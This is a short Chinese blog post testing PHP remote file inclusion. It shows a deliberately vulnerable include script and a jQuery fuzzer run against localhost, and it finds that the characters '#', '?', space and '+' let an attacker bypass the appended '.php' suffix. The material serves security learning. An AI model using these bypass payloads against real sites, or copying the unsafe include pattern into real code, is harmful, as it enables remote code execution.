您的位置:首页 > 编程语言 > PHP开发

PHP RFI 的小tip

2016-04-19 21:46 696 查看
有关PHP include的帖子网上已经很多了,wooyun的知识库里面也有一篇总结的很好的文章,传送门:http://drops.wooyun.org/tips/3827,今晚在看书的时候看到RFI绕过包含,总结常用的技巧有:%00截断,利用系统对目录最大长度的限制绕过,使用?绕过。但是前两种方法在PHP>5.3之后就没用了,唯独剩下?绕过可用。

于是乎想到的问题是:除了使用?,还有其他可用的方式没有。

针对这个问题,想到的答案是,如果有,那应该也是存在于一些特殊或不常用的字符里。

开始动手做实验:

服务端:

<?php
echo "包含的文件是:".$_GET['a'].".php";
include($_GET['a'].".php");
?>


测试脚本:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>RFI Test</title>
<script src="./libs/jquery.js"></script>
</head>
<body>
可成功包含的字符:
<div id="can">

</div>
<script>
var reg="phpinfo()";
for(var i=0x00;i<=0x40;i++)
{
var uri="http://127.0.0.1:81/mycode/include.php?a=http://127.0.0.1:81/mycode/1.txt%"+i.toString(16)
$.ajax({
"url":uri,
"type":"GET",
"async":false,
"success":function(data){
if(data.indexOf("phpinfo()")>0)
{
$("#can").append(uri+"<br>");
}
},
})
}
</script>
</body>
</html>


运行结果:



其中%23 和%3f在乌云的那篇总结帖里面已经有了,就是利用"#"和"?"绕过,但是还有空格也能绕过,和空格有等效作用的就是"+"了。

如图:



内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: